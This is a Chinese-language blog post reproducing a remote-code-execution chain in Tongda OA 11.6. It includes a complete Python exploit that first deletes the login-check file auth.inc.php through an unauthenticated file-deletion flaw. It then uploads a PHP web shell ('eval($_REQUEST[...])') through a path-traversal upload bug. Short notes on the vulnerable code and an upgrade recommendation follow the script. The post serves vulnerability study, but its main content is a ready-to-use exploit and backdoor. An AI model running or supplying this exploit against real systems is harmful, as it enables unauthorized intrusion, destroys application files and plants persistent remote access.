1. 程式人生 > 實用技巧 >通達OA 11.6 rce漏洞復現

通達OA 11.6 rce漏洞復現

在2020 hvv期間,接連爆出n多漏洞,這裡選擇通達OA 11.6 rce進行復現,其他版本請自行測試。
修復建議:升級至最新版本
自己公司或去客戶現場做測試的話,可以讓客戶去 webroot\inc 下將auth.inc.php備份一下,等利用成功GetShell 後,再將該檔案放進去

安裝通達OA 11.6

傻瓜式安裝

訪問

通達OA 11. 的指令碼已經很多了,放出來

import requests
target="http://192.168.137.242/"
payload="<?php eval($_REQUEST['Lay0us']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('Lay0us.php', payload)}
requests.post(url=url,files=files)
url=target+"/_lay0us.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

從POC看出來該漏洞會刪除 auth.inc.php ,由此需要把檔案備份一些再進行復現,開啟檔案

這裡用到大佬寫的工具 SeayDzend 進行解密

檔案太多,發現已經解密完成,停止

開啟檔案

從第三行包含程式碼發現 是對登陸的校驗檔案

檢查/module/appbuilder/assets/print.php檔案 (未授權訪問導致產生檔案刪除漏洞)


這裡可以看到 頁面獲取 guid引數的值
使用file_exists函式判斷檔案是否存在 並未進行校驗 就執行unlink刪除檔案

exp中訪問/general/data_center/utils/upload.php檔案上傳


呼叫action=upload上傳檔案
傳入不存在的filetype 進入漏洞點


根據exp構造了上傳檔名和內容 {'FILE1': ('Lay0us.php', payload)}
同時利用file_exists函式的漏洞構造/.<>./.<>./.<>./ 逃逸出來
也就是說在這裡構造訪問上傳後
file_exists判斷存在將檔案加_拼接目錄移動到根目錄下並刪除原檔案

總體的根據exp分析 首先存在了任意檔案刪除漏洞
然後刪除登陸校驗檔案,進而導致任意檔案上傳漏洞
組合之後也就是現在的rce漏洞
file_exists特性繞過參考文章:https://www.freebuf.com/articles/web/53656.html

下面來看exp的利用


就是回車之後將進行後續操作 將會刪掉auth.inc.php這個檔案 可能會導致正常業務執行

上傳成功 訪問

連線shell或者執行命令